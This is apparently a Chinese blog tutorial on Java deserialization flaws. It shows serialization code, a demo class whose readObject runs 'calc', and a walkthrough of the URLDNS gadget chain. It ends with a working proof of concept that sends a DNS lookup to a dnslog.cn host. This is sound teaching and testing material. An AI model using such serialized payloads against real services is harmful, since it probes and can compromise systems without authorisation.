JAVA序列化和反序列化
序列化:将对象变为一串字节码(一般hex的开头为AC ED 00 05),便于传输
反序列化:将序列化的字节码恢复为对象
序列化:
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class ser {
public static void main(String[] args) throws IOException, IOException {
student stu = new student();
//将student类的序列化数据写入ser.txt
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(stu);
}
}
反序列化:
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectInputStream;
public class uns {
public static void main(String a[]) throws IOException,ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(("ser.txt")));
student o = (student) ois.readObject(); //readObject反序列化得到实例为Object类型
System.out.println(o.getscore());
}
}
反序列化引起的安全问题
被序列化的对象的类中如果定义了readObject方法,则会使用类中的readObject方法来反序列化,readObject中只要有ois.defaultReadObject();(ois是传入的ObjectInputStream对象)就可以正常完成反序列化过程。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
ois.defaultReadObject();
}
这时如果readObject方法中调用了其他类的危险函数,攻击者可以构造特殊的序列化数据,让readObject方法去执行这些类的函数。
比如反序列化这个unsafe类的对象后,就会执行弹计算机的命令
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class unsafe implements Serializable {
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
ois.defaultReadObject();
new exec().calc();
}
}
class exec {
public void calc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
urldns链
URLDNS是一个典型的JAVA反序列化利用链,最终目的是向外部网站发起一个DNS请求,由于不依赖任何库,常被用来理解反序列化原理和测试反序列化漏洞
要反序列化的是一个HashMap对象,找到它的readObject方法:
在方法最后一行,调用了本类的putVal方法,其中参数是调用了本类的hash方法
跟进
如果给的key不为0,就会调用key对象的hashCode方法(hashCode是Object的方法,其他类可以对其进行重写)
如果给的key是一个URL对象,那么调用URL的hashCode,找到URL类的hashCode
因此URL类的hashCode方法中,如果属性hashCode不为-1就执行URLStreamHandler的hashCode方法,跟进
其中的getHostAddress会发送一个DNS请求,达到我们的目的
因此,反序列化方法调用链为:
HashMap.readObject -> HashMap.hash -> URL.hashCode -> URLStreamHandler.hashCode -> URLStreamHandler.getHostAddress
而完成攻击的条件就是url对象的hashcode要为-1.由于url类中hashcode初始值就是-1,并且hashMap的put方法中也有hash方法
为避免二次触发,需要先将url对象的hashcode设置不为-1
put之后,再设为-1,用于反序列化时使用。
poc如下:
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.util.HashMap;
public class testUrldns{
public static void main(String args[]) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
//通过反射创建一个URL对象
Class urlClass = Class.forName("java.net.URL");
Constructor urlCons = urlClass.getConstructor(String.class);
URL urlObject = (URL) urlCons.newInstance("http://vhec8z.dnslog.cn");
//创建HashMap对象
HashMap<URL,Integer> hashmap = new HashMap<>();
//将URL对象的hashCode值设为非-1,用于put进hashMap
Field hashCode_url = urlClass.getDeclaredField("hashCode");
hashCode_url.setAccessible(true);
hashCode_url.set(urlObject,114514);
//进行put,URL对象作为key
hashmap.put(urlObject,1);
//将hashCode值改回-1
hashCode_url.set(urlObject,-1);
//序列化HashMap对象
ser.serialize(hashmap);
//反序列化
uns.unserialize();
}
}
class ser {
public static void serialize(Object obj) throws IOException, IOException {
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
}
class uns {
public static void unserialize() throws IOException,ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(("ser.txt")));
Object o = ois.readObject(); //readObject反序列化得到实例为Object类型
}
}
可以看到成功查询
Comments NOTHING